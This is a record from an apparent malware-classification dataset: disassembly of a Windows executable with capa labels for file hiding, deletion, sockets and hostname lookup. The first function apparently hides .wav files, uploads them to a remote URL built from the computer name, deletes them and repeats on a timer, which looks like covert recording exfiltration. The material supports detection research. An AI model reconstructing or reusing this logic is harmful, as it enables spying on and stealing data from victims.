joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406100
Capabilities:
Delete file
Query environment variable
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0
call sub.msvcrt.dll_time
mov dword [esp], eax
call sub.msvcrt.dll_srand
lea esi, [esi]
mov dword [ebp - 0x10], esp
call sub.msvcrt.dll_rand
mov ecx, 0x88888889
mov esi, eax
imul ecx
mov eax, esi
lea ebx, [esi + edx]
sar ebx, 4
cdq
sub ebx, edx
mov eax, ebx
shl eax, 4
mov edx, str..wav
sub eax, ebx
mov dword [esp + 4], edx
add eax, eax
sub esi, eax
lea ecx, [esi + 2]
mov dword [esp], ecx
call fcn.00405140
mov dword [esp], 0x5047c5
mov esi, eax
call sub.msvcrt.dll_getenv
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [esp], esi
mov edi, eax
call sub.msvcrt.dll_strlen
lea ebx, [edi + eax + 0x26]
and ebx, 0xfffffff0
mov eax, ebx
call fcn.004f12a0
mov dword [esp], 0x5047c5
lea edi, [esp + 0x23]
and edi, 0xfffffff0
call sub.msvcrt.dll_getenv
mov dword [esp + 8], eax
mov ecx, 0x5047ca
mov dword [esp + 4], ecx
mov dword [esp + 0xc], esi
mov dword [esp], edi
call sub.msvcrt.dll_sprintf
mov dword [esp], edi
mov edx, 0x7530
mov dword [esp + 4], edx
call fcn.00406000
mov dword [esp], edi
mov eax, 6
mov dword [esp + 4], eax
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 8
mov ecx, edi
lea esi, [esi]
mov esi, dword [ecx]
add ecx, 4
lea edx, [esi - 0x1010101]
not esi
and edx, esi
mov eax, edx
and eax, 0x80808080
je 0x4061e0
and edx, 0x8080
jne 0x406206
shr eax, 0x10
add ecx, 2
add al, al
sbb ecx, 3
sub ecx, edi
lea eax, [ecx + 0x26]
and eax, 0xfffffff0
call fcn.004f12a0
mov dword [esp + 8], edi
lea esi, [esp + 0x23]
mov edx, 0x5047d0
mov dword [esp + 4], edx
and esi, 0xfffffff0
mov dword [esp], esi
call sub.msvcrt.dll_sprintf
mov dword [esp], 2
call fcn.00409470
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [esp], 2
mov ebx, eax
call fcn.00409470
mov dword [esp + 8], eax
mov dword [esp + 0xc], ebx
mov dword [esp + 4], esi
mov dword [esp], edi
call fcn.00405010
mov dword [esp], esi
mov ecx, 6
mov dword [esp + 4], ecx
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 8
mov dword [esp], edi
call sub.msvcrt.dll_remove
call fcn.004046d0
mov dword [esp], eax
mov edi, eax
call sub.msvcrt.dll_strlen
mov ebx, eax
call fcn.00409e90
mov dword [esp], eax
call sub.msvcrt.dll_strlen
lea ebx, [ebx + eax + 0x67]
and ebx, 0xfffffff0
mov eax, ebx
call fcn.004f12a0
lea ebx, [esp + 0x23]
and ebx, 0xfffffff0
call fcn.00409e90
mov dword [esp + 0x10], eax
mov edx, 0x5047d6
mov ecx, str.http:___s__s_enccomp_sextrec.wav
mov dword [esp + 0xc], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], edi
mov dword [esp], ebx
call sub.msvcrt.dll_sprintf
mov dword [esp + 8], esi
mov eax, 0x504805
mov edx, 0x50481e
mov dword [esp + 0xc], eax
mov dword [esp + 4], edx
mov dword [esp], ebx
call fcn.00406340
test edi, edi
je 0x40630a
mov dword [esp], edi
call fcn.004ef210
mov dword [esp], esi
call sub.msvcrt.dll_remove
mov dword [esp], 0x493e0
call sub.KERNEL32.dll_Sleep
sub esp, 4
mov esp, dword [ebp - 0x10]
jmp 0x406120
Function at 0x408fa0
Capabilities:
Connect socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 0xc], ebx
mov ebx, dword [ebp + 8]
mov dword [ebp - 8], esi
mov esi, dword [ebp + 0xc]
mov dword [ebp - 4], edi
mov edi, dword [ebp + 0x10]
mov dword [esp + 4], ebx
mov dword [esp], 0x101
call sub.WSOCK32.DLL_WSAStartup
sub esp, 8
test eax, eax
js 0x409040
mov dword [esp], 2
xor eax, eax
mov ecx, 1
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
call sub.WSOCK32.DLL_socket
mov dword [ebx + 0x190], eax
sub esp, 0xc
inc eax
je 0x409026
mov dword [esp], esi
call sub.WSOCK32.DLL_gethostbyname
mov dword [ebx + 0x1a4], eax
sub esp, 4
test eax, eax
jne 0x409058
mov dword [ebp + 0xc], esi
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov dword [ebp + 8], str.Error_in_gethostbyname___s__n
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
jmp 0x4f2d70
mov dword [ebp + 8], str.Error_in_socket_..._
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
jmp 0x4f2d60
mov dword [ebp + 8], str.Error_in_WSAStartup_..._
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
jmp 0x4f2d60
mov esi, dword [eax + 0xc]
mov ecx, 2
mov word [ebx + 0x194], cx
movzx ecx, di
mov edx, dword [esi]
mov edi, 0x10
lea esi, [ebx + 0x194]
mov eax, dword [edx]
mov dword [ebx + 0x198], eax
mov dword [esp], ecx
call sub.WSOCK32.DLL_htons
mov word [ebx + 0x196], ax
sub esp, 4
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov edx, dword [ebx + 0x190]
mov dword [esp], edx
call sub.WSOCK32.DLL_connect
sub esp, 0xc
inc eax
je 0x4090c5
mov dword [ebp + 8], 0x535150
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
jmp fcn.00408720
mov dword [ebp + 8], str.Error_in_connect_..._
jmp 0x40902d
jmp dword [sym.imp.msvcrt.dll_puts]
jmp dword [sym.imp.msvcrt.dll_printf]

Function at 0x409140
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
xor edx, edx
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 0x10]
mov dword [esp + 0xc], edx
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov eax, dword [edx + 0x190]
mov dword [esp], eax
call sub.WSOCK32.DLL_recv
sub esp, 0x10
leave
ret

Function at 0x409170
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
xor edx, edx
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 0x10]
mov dword [esp + 0xc], edx
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov eax, dword [edx + 0x190]
mov dword [esp], eax
call sub.WSOCK32.DLL_send
sub esp, 0x10
leave
ret
Function at 0x409200
Capabilities:
Create thread
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1c
mov esi, dword [ebp + 0x14]
mov ebx, dword [ebp + 8]
test esi, esi
je 0x409219
mov dword [esi], 0
mov dword [esp + 4], ebx
mov dword [esp], 0x202
call sub.WSOCK32.DLL_WSAStartup
sub esp, 8
xor edx, edx
test eax, eax
je 0x409240
lea esp, [ebp - 0xc]
mov eax, edx
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], 2
mov ecx, 1
xor edi, edi
mov dword [esp + 4], ecx
mov dword [esp + 8], edi
xor edi, edi
call sub.WSOCK32.DLL_socket
mov dword [ebx + 0x400], eax
movzx eax, word [ebp + 0x10]
sub esp, 0xc
mov edx, 2
mov word [ebx + 0x408], dx
mov dword [esp], eax
call sub.WSOCK32.DLL_htons
mov word [ebx + 0x40a], ax
sub esp, 4
mov ecx, 0x10
mov dword [ebx + 0x40c], edi
lea edx, [ebx + 0x408]
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov eax, dword [ebx + 0x400]
mov dword [esp], eax
call sub.WSOCK32.DLL_bind
sub esp, 0xc
test eax, eax
jne 0x409380
mov ecx, 0x100
lea edi, [ebx + 0x418]
mov dword [esp + 4], ecx
mov eax, dword [ebx + 0x400]
mov dword [esp], eax
call sub.WSOCK32.DLL_listen
sub esp, 8
lea edx, [ebx + 0x428]
test eax, eax
mov dword [ebp - 0x10], edx
je 0x409347
jmp 0x409380
inc dword [esi]
mov edx, 4
lea ecx, [ebx + 0x41c]
mov dword [esp + 4], edx
mov eax, 2
mov dword [esp], ecx
mov dword [esp + 8], eax
call sub.WSOCK32.DLL_gethostbyaddr
sub esp, 0xc
xor eax, eax
xor edx, edx
mov dword [esp + 0x10], edx
lea ecx, [ebx + 0x404]
xor edx, edx
mov dword [esp + 0x14], eax
mov dword [esp + 0xc], ecx
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], edx
mov dword [esp], 0
mov dword [esp + 8], eax
call sub.KERNEL32.dll_CreateThread
sub esp, 0x18
mov edx, dword [ebp - 0x10]
mov dword [esp + 4], edi
mov dword [esp + 8], edx
mov ecx, dword [ebx + 0x400]
mov dword [esp], ecx
call sub.WSOCK32.DLL_accept
mov dword [ebx + 0x404], eax
sub esp, 0xc
test eax, eax
jne 0x4092f0
lea esp, [ebp - 0xc]
mov edx, 1
mov eax, edx
pop ebx
pop esi
pop edi
pop ebp
ret
mov esi, dword [ebx + 0x400]
mov dword [esp], esi
call sub.WSOCK32.DLL_closesocket
sub esp, 4
call sub.WSOCK32.DLL_WSACleanup
lea esp, [ebp - 0xc]
xor edx, edx
mov eax, edx
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x409e90
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
cmp byte [0x535184], 0
je 0x409ea6
mov eax, dword [0x535180]
leave
ret
mov dword [esp], 0x100
call fcn.004ef170
mov dword [0x535180], eax
lea edx, [ebp - 4]
mov dword [ebp - 4], 0x100
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.KERNEL32.dll_GetComputerNameA
mov byte [0x535184], 1
mov eax, dword [0x535180]
sub esp, 8
leave
ret
Function at 0x40c6b4
Capabilities:
Query environment variable

Disassembly:
push esi
push ebx
sub esp, 0x24
mov esi, dword [esp + 0x30]
mov dword [esi + 4], 0
mov dword [esp], esi
call fcn.0040d438
mov dword [esp + 0x18], eax
mov dword [esp + 4], 0x54
mov dword [esp], esi
call fcn.0040d3dc
mov ebx, eax
test eax, eax
je 0x40c7ec
mov dword [ebx], fcn.0040baf8
mov dword [ebx + 4], fcn.0040c224
mov dword [ebx + 8], fcn.0040c3c8
mov dword [ebx + 0xc], fcn.0040c2e8
mov dword [ebx + 0x10], 0x40bce8
mov dword [ebx + 0x14], 0x40bc6c
mov dword [ebx + 0x18], 0x40c4a4
mov dword [ebx + 0x1c], 0x40c084
mov dword [ebx + 0x20], 0x40bee4
mov dword [ebx + 0x24], fcn.0040bd64
mov dword [ebx + 0x28], 0x40be90
mov dword [ebx + 0x30], 0x3b9aca00
mov eax, dword [esp + 0x18]
mov dword [ebx + 0x2c], eax
mov dword [ebx + 0x38], 0
mov dword [ebx + 0x40], 0
mov dword [ebx + 0x34], 0
mov dword [ebx + 0x3c], 0
mov dword [ebx + 0x44], 0
mov dword [ebx + 0x48], 0
mov dword [ebx + 0x4c], 0x54
mov dword [esi + 4], ebx
mov dword [esp], 0x506e60
call sub.msvcrt.dll_getenv
test eax, eax
je 0x40c7d0
mov byte [esp + 0x1f], 0x78
lea edx, [esp + 0x1f]
mov dword [esp + 0xc], edx
lea edx, [esp + 0x18]
mov dword [esp + 8], edx
mov dword [esp + 4], str._ld_c
mov dword [esp], eax
call sub.msvcrt.dll_sscanf
test eax, eax
jle 0x40c7d0
mov al, byte [esp + 0x1f]
cmp al, 0x6d
je 0x40c7d8
cmp al, 0x4d
je 0x40c7d8
mov eax, dword [esp + 0x18]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
mov dword [ebx + 0x2c], eax
add esp, 0x24
pop ebx
pop esi
ret
mov eax, dword [esp + 0x18]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
jmp 0x40c7c1
mov dword [esp], esi
call fcn.0040d43c
mov eax, dword [esi]
mov dword [eax + 0x14], 0x38
mov dword [eax + 0x18], 0
mov eax, dword [esi]
mov dword [esp], esi
call dword [eax]
jmp 0x40c6ea
Function at 0x41e250
Capabilities:
Initialize winsock library

Disassembly:
push ebp
xor edx, edx
mov ebp, esp
push ebx
sub esp, 0x1a4
mov eax, dword [0x535190]
mov ebx, dword [ebp + 8]
test eax, eax
jne 0x41e2b8
mov eax, sub.msvcrt.dll_malloc
mov ecx, 0x4f2580
mov edx, 0x4f2dd0
mov dword [sub.msvcrt.dll_malloc], eax
mov eax, sub.msvcrt.dll_free
test bl, 1
mov dword [sub.msvcrt.dll_free], eax
mov eax, 0x4f2de0
mov dword [0x4f40a8], eax
mov dword [0x4f40a4], ecx
mov dword [0x4f40a0], edx
jne 0x41e2c0
test bl, 2
jne 0x41e2e0
mov dword [0x5351a0], ebx
mov eax, 1
xor edx, edx
mov dword [0x535190], eax
mov ebx, dword [ebp - 4]
mov eax, edx
leave
ret
call fcn.00428f50
test eax, eax
mov edx, 2
je 0x41e2b8
test bl, 2
je 0x41e2a6
lea esi, [esi]
lea edi, [edi]
mov dword [esp], 0x101
lea eax, [ebp - 0x198]
mov dword [esp + 4], eax
call sub.WSOCK32.DLL_WSAStartup
sub esp, 8
test eax, eax
jne 0x41e310
mov eax, dword [ebp - 0x198]
cmp al, 1
je 0x41e31c
call sub.WSOCK32.DLL_WSACleanup
lea esi, [esi]
mov ebx, dword [ebp - 4]
mov edx, 2
mov eax, edx
leave
ret
shr eax, 8
dec al
je 0x41e2a6
call sub.WSOCK32.DLL_WSACleanup
jmp 0x41e310
Function at 0x420ea0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x30
mov ebx, dword [ebp + 8]
mov byte [ebp - 9], 0
mov esi, dword [ebp + 0xc]
test ebx, ebx
je 0x420ebd
mov eax, dword [ebx + 0xc]
test eax, eax
jne 0x420ec6
xor eax, eax
add esp, 0x30
pop ebx
pop esi
pop ebp
ret
mov dword [esp + 4], esi
mov dword [esp], 0x507504
call sym.fortis.exe_curl_strequal
test eax, eax
je 0x420fc9
mov byte [ebp - 9], 1
mov esi, dword [sym.imp.msvcrt.dll__iob]
add esi, 0x20
test ebx, ebx
je 0x420ff0
mov dword [esp + 0xc], esi
mov eax, 0x91
mov dword [esp + 8], eax
mov eax, 1
mov dword [esp + 4], eax
mov dword [esp], str._Netscape_HTTP_Cookie_File_n_http:__www.netscape.com_newsref_std_cookie_spec.html_n_This_file_was_generated_by_libcurl__Edit_at_your_own_risk._n_n
call sub.msvcrt.dll_fwrite
jmp 0x420f45
mov eax, dword [ebx + 0x10]
test eax, eax
je 0x420fbf
cmp byte [eax], 0x2e
mov edx, 0x5075ae
je 0x420fbf
mov dword [esp + 8], edx
mov eax, str._s_s_t_s_t_s_t_s_t_u_t_s_t_s_n
mov dword [esp + 4], eax
mov dword [esp], esi
call sub.msvcrt.dll_fprintf
mov ebx, dword [ebx]
test ebx, ebx
je 0x420ff0
mov eax, dword [ebx + 8]
test eax, eax
jne 0x420f5b
mov eax, 0x507479
mov dword [esp + 0x24], eax
mov eax, dword [ebx + 4]
mov dword [esp + 0x20], eax
mov eax, dword [ebx + 0x14]
mov dword [esp + 0x1c], eax
mov eax, 0x50745c
cmp byte [ebx + 0x28], 0
jne 0x420f7d
mov eax, 0x507461
mov dword [esp + 0x18], eax
mov eax, dword [ebx + 0xc]
test eax, eax
jne 0x420f8d
mov eax, 0x507467
mov dword [esp + 0x14], eax
mov eax, 0x50745c
cmp byte [ebx + 0x1c], 0
jne 0x420fa1
mov eax, 0x507461
mov dword [esp + 0x10], eax
mov eax, dword [ebx + 0x10]
test eax, eax
jne 0x420fb1
mov eax, 0x5075c8
mov dword [esp + 0xc], eax
cmp byte [ebx + 0x1c], 0
jne 0x420f17
mov edx, 0x507479
jmp 0x420f30
mov dword [esp], esi
mov eax, 0x5075d0
mov dword [esp + 4], eax
call sub.msvcrt.dll_fopen
mov esi, eax
test esi, esi
mov eax, 1
jne 0x420eeb
jmp 0x420ebf
cmp byte [ebp - 9], 0
jne 0x420ebd
mov dword [esp], esi
call sub.msvcrt.dll_fclose
jmp 0x420ebd
Function at 0x421460
Capabilities:
Query environment variable

Disassembly:
push ebp
mov eax, 0x83a8
mov ebp, esp
sub esp, 0x18
mov dword [esp + 4], eax
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], esi
xor esi, esi
mov dword [ebp - 4], edi
mov dword [esp], 1
call dword [0x4f40a0]
mov ebx, eax
test ebx, ebx
mov eax, 0x1b
je 0x4214c9
mov dword [esp], 0x100
call dword [0x4f40b0]
mov dword [ebx + 0x2dc], eax
test eax, eax
jne 0x4214d6
mov eax, dword [ebx + 0x2dc]
test eax, eax
jne 0x421620
mov dword [esp], ebx
xor ebx, ebx
call dword [0x4f40ac]
mov eax, dword [ebp + 8]
mov dword [eax], ebx
xor eax, eax
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
mov edi, 0x100
mov ecx, sub.msvcrt.dll_fread
mov edx, 0xffffffff
mov dword [ebx + 0x2e0], edi
mov eax, dword [sym.imp.msvcrt.dll__iob]
xor edi, edi
add eax, 0x20
mov dword [ebx + 0x24], eax
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [ebx + 0x28], eax
mov eax, dword [sym.imp.msvcrt.dll__iob]
or dword [ebx + 0x208], 0x10
mov dword [ebx + 0x80], ecx
add eax, 0x40
mov ecx, 5
mov dword [ebx + 0x10], eax
mov eax, 0xffffffff
mov dword [ebx + 0xac], eax
mov eax, 0xffffffff
mov dword [ebx + 0x82e8], eax
mov eax, 0xffffffff
mov dword [ebx + 0x82ec], eax
mov eax, 1
mov dword [ebx + 0x114], eax
mov eax, 0x3c
mov dword [ebx + 0x15c], eax
mov eax, 5
mov dword [ebx + 0xa8], edx
mov dword [ebx + 0x78], sub.msvcrt.dll_fwrite
mov dword [ebx + 0x68], 0xffffffff
mov dword [ebx + 0x6c], 0xffffffff
mov byte [ebx + 0x1a1], 1
mov byte [ebx + 0x1a2], 1
mov byte [ebx + 0x1a3], 1
mov byte [ebx + 0x188], 1
mov dword [ebx + 0x14c], eax
mov dword [ebx + 0x20], 0x438
mov dword [ebx + 0x158], edi
mov dword [ebx + 0x40], 1
mov dword [ebx + 0x44], 1
mov dword [ebx + 0x2d8], ecx
mov dword [esp], 0x14
call dword [0x4f40b0]
mov dword [ebx + 0x2d4], eax
test eax, eax
mov edx, eax
jne 0x421630
mov esi, 0x1b
mov edx, 1
mov eax, 2
mov dword [ebx + 0x130], edx
mov dword [ebx + 0x134], eax
mov dword [esp], str.CURL_CA_BUNDLE
call sub.msvcrt.dll_getenv
mov dword [ebx + 0x13c], eax
test esi, esi
je 0x4214c2
mov eax, dword [ebx + 0x2dc]
test eax, eax
je 0x4214b7
lea esi, [esi]
lea edi, [edi]
mov dword [esp], eax
call dword [0x4f40ac]
jmp 0x4214b7
mov eax, dword [ebx + 0x2d8]
mov edi, edx
shl eax, 2
cmp eax, 7
jbe 0x421660
test dl, 4
je 0x421660
mov dword [edx], 0
add edi, 4
sub eax, 4
jmp 0x421660
cld
mov ecx, eax
shr ecx, 2
xor eax, eax
rep stosd dword es:[edi], eax
jmp 0x4215d5
Function at 0x428890
Capabilities:
Hash data using djb2

Disassembly:
push ebp
mov ecx, eax
mov ebp, esp
push ebx
lea ebx, [eax + edx]
mov edx, 0x1505
jmp 0x4288ad
mov eax, edx
shl eax, 5
add edx, eax
movsx eax, byte [ecx]
inc ecx
xor edx, eax
cmp ecx, ebx
jb 0x4288a0
pop ebx
mov eax, edx
pop ebp
ret

Function at 0x42b500
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
xor edx, edx
mov ebp, esp
sub esp, 0x28
mov ecx, dword [ebp + 8]
mov dword [ebp - 8], esi
mov esi, dword [ebp + 0x18]
mov dword [ebp - 4], edi
mov edi, dword [ebp + 0xc]
mov dword [ebp - 0xc], ebx
cmp dword [ecx + 0x9c], edi
mov dword [esi], 0
sete dl
mov eax, edx
shl eax, 4
cmp byte [ecx + eax + 0xa8], 0
jne 0x42b5a0
mov dword [esi], 0
mov ebx, 0xffffffff
mov edx, dword [ecx + 0x178]
test edx, edx
je 0x42b571
call fcn.004381f0
cmp eax, 0x2733
mov edx, 0xffffffff
je 0x42b562
mov dword [esi], ebx
xor edx, edx
mov ebx, dword [ebp - 0xc]
mov eax, edx
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
mov dword [esp], edi
xor eax, eax
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0x14]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 4], eax
call sub.WSOCK32.DLL_recv
sub esp, 0x10
cmp eax, 0xffffffff
mov ebx, eax
jne 0x42b55e
jmp 0x42b54d
mov dword [esp + 4], edx
mov eax, dword [ebp + 0x14]
mov dword [esp], ecx
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 8], eax
call fcn.004292e0
mov ebx, eax
mov edx, 0xffffffff
cmp eax, 0xffffffff
jmp 0x42b55c

Function at 0x42b5d0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 0xc], ebx
mov ebx, eax
mov dword [ebp - 8], esi
mov esi, dword [ebp + 0xc]
mov dword [ebp - 4], edi
mov ecx, dword [eax + 0x88]
mov edi, dword [ebp + 8]
test ecx, ecx
jne 0x42b650
cmp edx, 2
jbe 0x42b605
mov ebx, dword [ebp - 0xc]
xor eax, eax
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
mov eax, dword [eax + 0x10]
mov dword [esp + 0xc], eax
mov eax, 1
mov dword [esp + 8], eax
mov eax, 2
mov dword [esp + 4], eax
mov eax, dword [edx*4 + 0x508d10]
mov dword [esp], eax
call sub.msvcrt.dll_fwrite
mov eax, dword [ebx + 0x10]
mov ecx, 1
mov dword [esp + 8], ecx
mov dword [esp + 4], esi
mov dword [esp + 0xc], eax
mov dword [esp], edi
call sub.msvcrt.dll_fwrite
jmp 0x42b5f6
mov eax, dword [eax + 0x14]
mov dword [esp + 0xc], esi
mov dword [esp + 8], edi
mov dword [esp], ebx
mov dword [esp + 0x10], eax
mov dword [esp + 4], edx
call ecx
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x42b980
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
xor edx, edx
mov ebp, esp
sub esp, 0x28
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 8], esi
mov esi, dword [ebp + 8]
mov dword [ebp - 4], edi
mov edi, dword [ebp + 0x14]
mov dword [ebp - 0xc], ebx
cmp dword [esi + 0x9c], ecx
sete dl
mov eax, edx
shl eax, 4
cmp byte [esi + eax + 0xa8], 0
jne 0x42ba36
mov eax, dword [esi + 0x178]
mov ebx, 0xffffffff
test eax, eax
je 0x42b9f5
call fcn.004381f0
cmp eax, 0x2733
jne 0x42ba70
mov eax, dword [ebp + 0x18]
xor ebx, ebx
mov dword [eax], ebx
xor eax, eax
cmp ebx, 0xffffffff
setne al
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
dec eax
pop ebp
and eax, 0x37
ret
mov dword [esp + 8], edi
xor eax, eax
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0x10]
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.WSOCK32.DLL_send
sub esp, 0x10
cmp eax, 0xffffffff
mov ebx, eax
je 0x42b9c5
mov eax, dword [ebp + 0x18]
mov dword [eax], ebx
xor eax, eax
cmp ebx, 0xffffffff
setne al
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
dec eax
pop ebp
and eax, 0x37
ret
mov dword [esp + 0xc], edi
mov eax, dword [ebp + 0x10]
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], eax
call fcn.004292d0
mov ebx, eax
mov eax, dword [ebp + 0x18]
mov dword [eax], ebx
xor eax, eax
cmp ebx, 0xffffffff
setne al
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
dec eax
pop ebp
and eax, 0x37
ret
mov dword [esp], esi
mov dword [esp + 4], eax
call fcn.0043f130
mov dword [esp + 8], eax
mov eax, str.Send_failure:__s
mov dword [esp + 4], eax
mov eax, dword [esi]
mov dword [esp], eax
call fcn.0042b7c0
mov eax, dword [ebp + 0x18]
mov dword [eax], ebx
xor eax, eax
cmp ebx, 0xffffffff
setne al
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
dec eax
pop ebp
and eax, 0x37
ret

Function at 0x42eae0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [ebp - 4], edi
mov edi, eax
xor eax, eax
mov dword [esp + 0xc], eax
mov eax, 3
mov dword [esp + 8], eax
lea eax, [ebp - 0x28]
mov dword [ebp - 0xc], ebx
mov ebx, dword [ebp + 8]
mov dword [esp + 4], eax
mov eax, dword [edi + 0x98]
mov dword [ebp - 8], esi
mov esi, edx
mov byte [ebp - 0x27], dl
mov byte [ebp - 0x26], bl
mov byte [ebp - 0x28], 0xff
mov dword [esp], eax
call sub.WSOCK32.DLL_send
mov eax, dword [edi]
sub esp, 0x10
mov edx, str.SENT
mov dword [esp + 4], ebx
mov dword [esp], esi
call fcn.0042e9a0
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x430380
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x3c
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x30]
mov eax, dword [eax]
mov edi, dword [ecx + 0x9c]
mov dword [ebp - 0x34], eax
call fcn.004394e0
mov ebx, eax
mov esi, edx
call fcn.004394e0
mov dword [esp + 4], edx
mov dword [esp + 8], ebx
mov dword [esp + 0xc], esi
mov dword [esp], eax
call fcn.00439520
mov edx, 0x10624dd3
mov ecx, eax
imul edx
mov eax, ecx
mov ecx, dword [ebp - 0x34]
sar eax, 0x1f
sar edx, 6
sub edx, eax
mov eax, dword [ecx + 0x9c]
test eax, eax
jne 0x4303eb
mov eax, dword [ecx + 0x98]
mov ecx, 0xea60
test eax, eax
je 0x4303fb
sub eax, edx
test eax, eax
jle 0x4304d1
imul ecx, eax, 0x3e8
mov dword [esp + 8], ecx
mov eax, 0xffffffff
mov dword [esp + 4], eax
mov dword [esp], edi
call fcn.004395d0
cmp eax, 0xffffffff
je 0x4304c6
test eax, eax
je 0x43049a
mov dword [ebp - 0x2c], 0x10
lea ebx, [ebp - 0x28]
lea esi, [ebp - 0x2c]
mov dword [esp + 4], ebx
mov dword [esp + 8], esi
mov dword [esp], edi
call sub.WS2_32.DLL_getsockname
sub esp, 0xc
mov dword [esp + 4], ebx
mov dword [esp + 8], esi
mov dword [esp], edi
call sub.WSOCK32.DLL_accept
sub esp, 0xc
mov ebx, eax
mov dword [esp], edi
call sub.WSOCK32.DLL_closesocket
sub esp, 4
cmp ebx, 0xffffffff
je 0x4304b5
mov eax, dword [ebp - 0x34]
mov esi, str.Connection_accepted_from_server_n
mov dword [esp + 4], esi
mov dword [esp], eax
call fcn.0042bba0
mov ecx, dword [ebp - 0x30]
mov dword [ecx + 0x9c], ebx
mov ecx, 1
mov dword [esp + 4], ecx
mov dword [esp], ebx
call fcn.00438200
xor eax, eax
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, str.Timeout_while_waiting_for_server_connect
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x34]
mov dword [esp], eax
call fcn.0042b7c0
mov eax, 0x1e
jmp 0x430492
mov edi, str.Error_accept__ing_server_connect
mov dword [esp + 4], edi
mov ecx, dword [ebp - 0x34]
mov dword [esp], ecx
jmp 0x4304a9
mov eax, str.Error_while_waiting_for_server_connect
mov dword [esp + 4], eax
jmp 0x4304be
mov eax, str.Timed_out_before_server_could_connect_to_us
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x34]
mov dword [esp], eax
call fcn.0042b7c0
mov eax, 0x1c
jmp 0x430492